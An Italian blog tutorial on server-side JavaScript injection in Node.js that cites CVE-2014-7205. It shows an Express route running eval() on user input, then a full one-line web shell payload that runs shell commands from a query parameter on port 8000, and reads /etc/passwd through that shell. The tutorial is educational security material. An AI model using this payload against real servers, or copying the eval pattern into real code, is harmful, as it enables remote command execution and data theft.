Iniezione di codice Javascript server-side su app Node.js
Di recente mi sono interessato ad esempi reali di vulnerabilità in applicativi basati Node.js, che permettano l’iniezione di codice Javascript.
Una CVE recente (CVE-2014-7205) riguarda proprio l’iniezione di codice JS, scoperta da Jarda Kotěšovec nel plugin Basmaster e che permette l’injection arbitraria di codice Javascript.
Ho deciso di creare un piccolo esempio che mostri come un hacker possa sfruttare questo tipo di vulnerabilità per accedere al server.
Andremo a sfruttare uno dei pattern peggiori che uno sviluppatore possa implementare. L’eval()
su un input utente, non validato.
Il codice iniettato è una web-shell che esisterà all’interno del processo node e non verrà scritta su disco.
Questa tecnica può essere chiamata in più modi: server-side javascript injection o Remote file inclusion o ancora Remote file execution.
Per rendere le cose semplici, ammettiamo che la nostra demo permetta soltanto un singolo input utente:
Questo il codice vulnerabile:
router.post('/demo1', function(req, res) { var year = eval("year = (" + req.body.year + ")"); var date = new Date(); var futureAge = 2050 - year; res.render('demo1', { title: 'Future Age', output: futureAge }); }); |
In questo esempio iniettiamo questo codice res.write(‘SSJS Injection’)
, e il server restituirà quella stringa nella pagina di risposta.
A questo punto è assodato che possiamo effettuare una server-side javascript injection.
Proviamo dunque a iniettare una web shell che si avvia dopo 5 secondi e che rimane in ascolto sulla TCP/8000.
setTimeout(function() { require('http').createServer(function(req, res) { res.writeHead(200, { "Content-Type": "text/plain" }); require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e, s, st) { res.end(s); }); }).listen(8000); }, 5000) |
Scritta su una riga diventa:
setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {"Content-Type": "text/plain"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8000); }, 5000) |
Siccome stiamo iniettando codice che verrà interpretato dall’applicazione, non verrà scritto su disco, e l’esecuzione verrà gestita dal processo node esistente.
Ecco l’injection (l’applicazione continua a funzionare e rispondere normalmente):
Eseguiamo cat /etc/passwd
sulla web-shell:
Eseguiamo ls -la /etc
:
Se il processo node gira con permessi di root, anche i comandi eseguiti sulla nostra web-shell avranno di fatto gli stessi privilegi, e le conseguenze potrebbero essere catastrofiche.
Questo è un esempio molto banale di un’applicazione che soffre di una vulnerabilità di SSJS. Molti tool automatici ancora non sono in grado di identificare questo tipo di vulnerabilità javascript.
Commenti